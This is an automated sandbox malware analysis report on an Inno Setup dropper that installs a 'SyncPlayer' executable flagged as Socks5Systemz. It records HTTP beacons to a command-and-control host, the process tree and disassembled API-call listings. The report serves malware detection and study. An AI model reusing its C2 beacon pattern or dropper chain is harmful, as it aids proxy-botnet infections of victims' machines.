Nov 5, 2024 02:15:57.844975948 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50061	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:57.964548111 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:58.911030054 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50062	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:59.033468962 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:59.952490091 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Target ID:	0
Start time:	20:13:53
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\OFjT8HmzFJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\OFjT8HmzFJ.exe"
Imagebase:	0x400000
File size:	6'401'622 bytes
MD5 hash:	C776A9EFDABA18F15A5F554AE52C0385
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	20:13:53
Start date:	04/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp" /SL5="$2041C,6149981,54272,C:\Users\user\Desktop\OFjT8HmzFJ.exe"
Imagebase:	0x400000
File size:	699'904 bytes
MD5 hash:	0D05E478EC0E67B3670C32F7FCD99AC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	20:13:55
Start date:	04/11/2024
Path:	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe" -i
Imagebase:	0x400000
File size:	2'565'120 bytes
MD5 hash:	5FBD9E9B8796E7B4A40FD070F0F43F8E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000002.00000002.2901818594.0000000002A93000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	1513
Total number of Limit Nodes:	21

Executed Functions

Function 00409A14 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 00409A26
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409A31
VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409A72
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409AA4
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409AB4

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: c2769086b94dacb7810d1409196c7497058a42c32b70979fc979e51038c0ff67
Instruction ID: 05782b2e5a8588c9c74d05110837466633af9a4b7a19298b20ab433fd050a55e
Opcode Fuzzy Hash: c2769086b94dacb7810d1409196c7497058a42c32b70979fc979e51038c0ff67
Instruction Fuzzy Hash: D0216FB13003846BD6309A698C85E67B7DC9F85360F18492AFA85E62C3D73DED40CB59

Function 0040515C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8ef9b48ed96d6a8df8db933101511442404bdd0abec70889978d036278c5d13e
Instruction ID: b78bf48cff894a3999656c5243e329942f020ab22272e2e872fdbeeaebf0035e
Opcode Fuzzy Hash: 8ef9b48ed96d6a8df8db933101511442404bdd0abec70889978d036278c5d13e
Instruction Fuzzy Hash: EDE09271B0021426D711A9699C86AEB735DDB58310F0006BFB904EB3C6EDB49E8046ED

Function 00408FC8 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00409061,?,?,?,?,00000000,?,00409B53), ref: 00408FE8
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00408FEE
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,Wow64DisableWow64FsRedirection,00000000,00409061,?,?,?,?,00000000,?,00409B53), ref: 00409002
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00409008

Strings

Wow64RevertWow64FsRedirection, xrefs: 00408FF8
shell32.dll, xrefs: 00409034
kernel32.dll, xrefs: 00408FE3, 00408FFD
Wow64DisableWow64FsRedirection, xrefs: 00408FDE

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 17e7db4c528402608d9f53e260f8b79ce616995abb8d95c1af2dd02ed3ed6c5c
Instruction ID: 9fcc65c531327f2d7efb14c601a25e4e420c6304718e48176e9e04a6a3b299d5
Opcode Fuzzy Hash: 17e7db4c528402608d9f53e260f8b79ce616995abb8d95c1af2dd02ed3ed6c5c
Instruction Fuzzy Hash: 6701DF70208300AEEB10AB76DC47B563AA8E782714F60843BF504B22C3CA7C5C44CA2E

Function 00409FB4 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A010
SetWindowLongA.USER32(0002041C,000000FC,004097FC), ref: 0040A027

Part of subcall function 00406ADC: GetCommandLineA.KERNEL32(00000000,00406B20,?,?,?,?,00000000,?,0040A098,?), ref: 00406AF4

Part of subcall function 00409888: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974,00000000,0040995B), ref: 004098F8
Part of subcall function 00409888: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974,00000000), ref: 0040990C
Part of subcall function 00409888: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409925
Part of subcall function 00409888: GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409937
Part of subcall function 00409888: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974), ref: 00409940

RemoveDirectoryA.KERNEL32(00000000,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A113
73A25CF0.USER32(0002041C,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A127

Strings

InnoSetupLdrWindow, xrefs: 0040A004
/SL5="$%x,%d,%d,, xrefs: 0040A067
STATIC, xrefs: 0040A009

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCreateHandleProcessWindow$CodeCommandDirectoryExitLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 978128352-3001827809
Opcode ID: 159c453b7ac3cd923b7a2f23f1fd40c5aec2652b1d6ac864f49eba6627e6851e
Instruction ID: f906e54bc8182d827ce8d62f854c32cc5c8bb24d70b1b576c1f0bc2141975a36
Opcode Fuzzy Hash: 159c453b7ac3cd923b7a2f23f1fd40c5aec2652b1d6ac864f49eba6627e6851e
Instruction Fuzzy Hash: C7411B70600205DFD714EBA9EE85B9937A4EB44304F10427BF510B73E2DB78A801DB9D

Function 00409FD8 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409460: GetLastError.KERNEL32(00000000,00409503,?,0040B240,?,02127D74), ref: 00409484

CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A010
SetWindowLongA.USER32(0002041C,000000FC,004097FC), ref: 0040A027

Part of subcall function 00406ADC: GetCommandLineA.KERNEL32(00000000,00406B20,?,?,?,?,00000000,?,0040A098,?), ref: 00406AF4

Part of subcall function 00409888: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974,00000000,0040995B), ref: 004098F8
Part of subcall function 00409888: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974,00000000), ref: 0040990C
Part of subcall function 00409888: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409925
Part of subcall function 00409888: GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409937
Part of subcall function 00409888: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974), ref: 00409940

RemoveDirectoryA.KERNEL32(00000000,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A113
73A25CF0.USER32(0002041C,0040A166,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A127

Strings

InnoSetupLdrWindow, xrefs: 0040A004
/SL5="$%x,%d,%d,, xrefs: 0040A067
STATIC, xrefs: 0040A009

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCreateHandleProcessWindow$CodeCommandDirectoryErrorExitLastLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 240127915-3001827809
Opcode ID: c2b54a2e70e4e5979150f676c7489133cbfe643d3bc517ae900c22a15f9bb05a
Instruction ID: 15d659ec7f9b1ac1cd7d53c9453979b8ee166439bedab6e573f6bea77050c238
Opcode Fuzzy Hash: c2b54a2e70e4e5979150f676c7489133cbfe643d3bc517ae900c22a15f9bb05a
Instruction Fuzzy Hash: F441F970600205DBD714EBA9EE86B9E3BA4EB44304F10467BF510B73E2DB78A845DB9D

Function 00409888 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974,00000000,0040995B), ref: 004098F8
CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974,00000000), ref: 0040990C
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409925
GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409937
CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409980,02127D74,00409974), ref: 00409940

Part of subcall function 00409460: GetLastError.KERNEL32(00000000,00409503,?,0040B240,?,02127D74), ref: 00409484

Strings

D, xrefs: 004098D2

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
String ID: D
API String ID: 3356880605-2746444292
Opcode ID: 3e364823df46f41b243604843b678d585e88c5cad38ef85377b023b87dae9783
Instruction ID: 0c6d97fba1df7b16fba7b9ed0c132cba9133a3324ac8f072eb64155fee6ae1b7
Opcode Fuzzy Hash: 3e364823df46f41b243604843b678d585e88c5cad38ef85377b023b87dae9783
Instruction Fuzzy Hash: AC1130B16142086EDB10FBE68C52F9EBBACEF49718F50013EB614F62C7DA785D048669

Function 00409D26 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409D8A

Strings

$u@, xrefs: 00409E3E
.tmp, xrefs: 00409DD0

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Message
String ID: $u@$.tmp
API String ID: 2030045667-236237750
Opcode ID: be0edfdeb97945c6840b00cd29824e2c1b2e5348348f3cee86e118d80b02f044
Instruction ID: bdcd01d8ec24e2f84f87ea4e3f099a34ec29b2714f21813400b30a6ac1c0eceb
Opcode Fuzzy Hash: be0edfdeb97945c6840b00cd29824e2c1b2e5348348f3cee86e118d80b02f044
Instruction Fuzzy Hash: 5841B270604201DFD311EF19DED1A5A7BA6FB89304B21453AF401B77E2CA79AC41DBAD

Function 00409D41 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409D8A

Strings

$u@, xrefs: 00409E3E
.tmp, xrefs: 00409DD0

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Message
String ID: $u@$.tmp
API String ID: 2030045667-236237750
Opcode ID: a17348e3376948e7ba9e1c21084d2daeb235724ecd4b5b67bd692c07bc486c3a
Instruction ID: 3959a2e8feef50a60495e892b4acbb3c3acfae64f8a0edc45a3a0a8c5e65a2fa
Opcode Fuzzy Hash: a17348e3376948e7ba9e1c21084d2daeb235724ecd4b5b67bd692c07bc486c3a
Instruction Fuzzy Hash: 1E41A170600201DFC711EF69DED1A5A7BA6FB49304B11453AF801B77E2CA79AC41DBAD

Function 00409254 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00409343,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040929A
GetLastError.KERNEL32(00000000,00000000,?,00000000,00409343,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004092A3

Strings

.tmp, xrefs: 00409283

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 7647810fba1c1a7df54c129ecd6d2966c744d5805a6f131b99297333171aebfe
Instruction ID: 381de743b5e558d6c5ac88c9815bc56a2e764fefa580558ac3af8d983805238d
Opcode Fuzzy Hash: 7647810fba1c1a7df54c129ecd6d2966c744d5805a6f131b99297333171aebfe
Instruction Fuzzy Hash: 3C214975A002089BDB01EFE1C9429DEB7B9EB48304F10457BE901B73C2DA7CAF058AA5

Function 00406F00 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406F0A
LoadLibraryA.KERNEL32(00000000,00000000,00406F54,?,00000000,00406F72,?,00008000), ref: 00406F39

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 280b78466cfb49ac5d1a4d8de4e82968344a77d2278ba686a31885ea79f0a63b
Instruction ID: 61c75ae37e4b7eabf140846b9e9d3e90831ba1beb5fed57b889ca027c52d2016
Opcode Fuzzy Hash: 280b78466cfb49ac5d1a4d8de4e82968344a77d2278ba686a31885ea79f0a63b
Instruction Fuzzy Hash: 49F08270614704BEDB029FB69C6282BBBFCE749B0475348B6F904A26D2E53C5D208568

Function 004075CC Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 004075EB
GetLastError.KERNEL32(?,?,?,00000000), ref: 004075F3

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,021103AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 4b4e93de333a3cce642c2996d73c93b1535ff8d1f0695df8178d397978e57373
Instruction ID: cda5b13584bb414d1d7c0d7cef5a43535e1b929ad68122291bf656bee98e9d77
Opcode Fuzzy Hash: 4b4e93de333a3cce642c2996d73c93b1535ff8d1f0695df8178d397978e57373
Instruction Fuzzy Hash: A0E092766081016FD601D55EC881B9B33DCDFC5365F00453ABA54EB2D1D675AC0087B6

Function 0040758C Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 004075A3
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 004075B2

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 60e63bc2ff5526e1bd28c8a7098a19329bed0093cf160d1b5924f83231400461
Instruction ID: 6d0e635579d8ef6deec62af0acb898b5effba2491802df9b0589d4017bc118ea
Opcode Fuzzy Hash: 60e63bc2ff5526e1bd28c8a7098a19329bed0093cf160d1b5924f83231400461
Instruction Fuzzy Hash: 4FE012B1A181147AEB24965A9CC5FAB6BDCCBC5314F14847BF904DB282D678DC04877B

Function 00407524 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 0040753B
GetLastError.KERNEL32(?,00000000,?,00000001), ref: 00407547

Part of subcall function 004073EC: GetLastError.KERNEL32($u@,0040748A,?,?,021103AC,?,00409BAD,00000001,00000000,00000002,00000000,0040A1A4,?,00000000,0040A1DB), ref: 004073EF

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 0dd762855ce75d8d861d21fe55c1929f9bb0fd02210f0b496c114b023f039fab
Instruction ID: cd7afd6369a15af5fc7b0f7528e30ca6696358c0ea2e6c45e94f6e0b4d50a73a
Opcode Fuzzy Hash: 0dd762855ce75d8d861d21fe55c1929f9bb0fd02210f0b496c114b023f039fab
Instruction Fuzzy Hash: 0EE04FB1600210AFEB10EEB98C81B9672DC9F48364F048576EA14DF2C6D274DC00C766

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9

Function 004051D0 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00405306), ref: 004051EF

Part of subcall function 00404C2C: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404C49

Part of subcall function 0040515C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Memory Dump Source

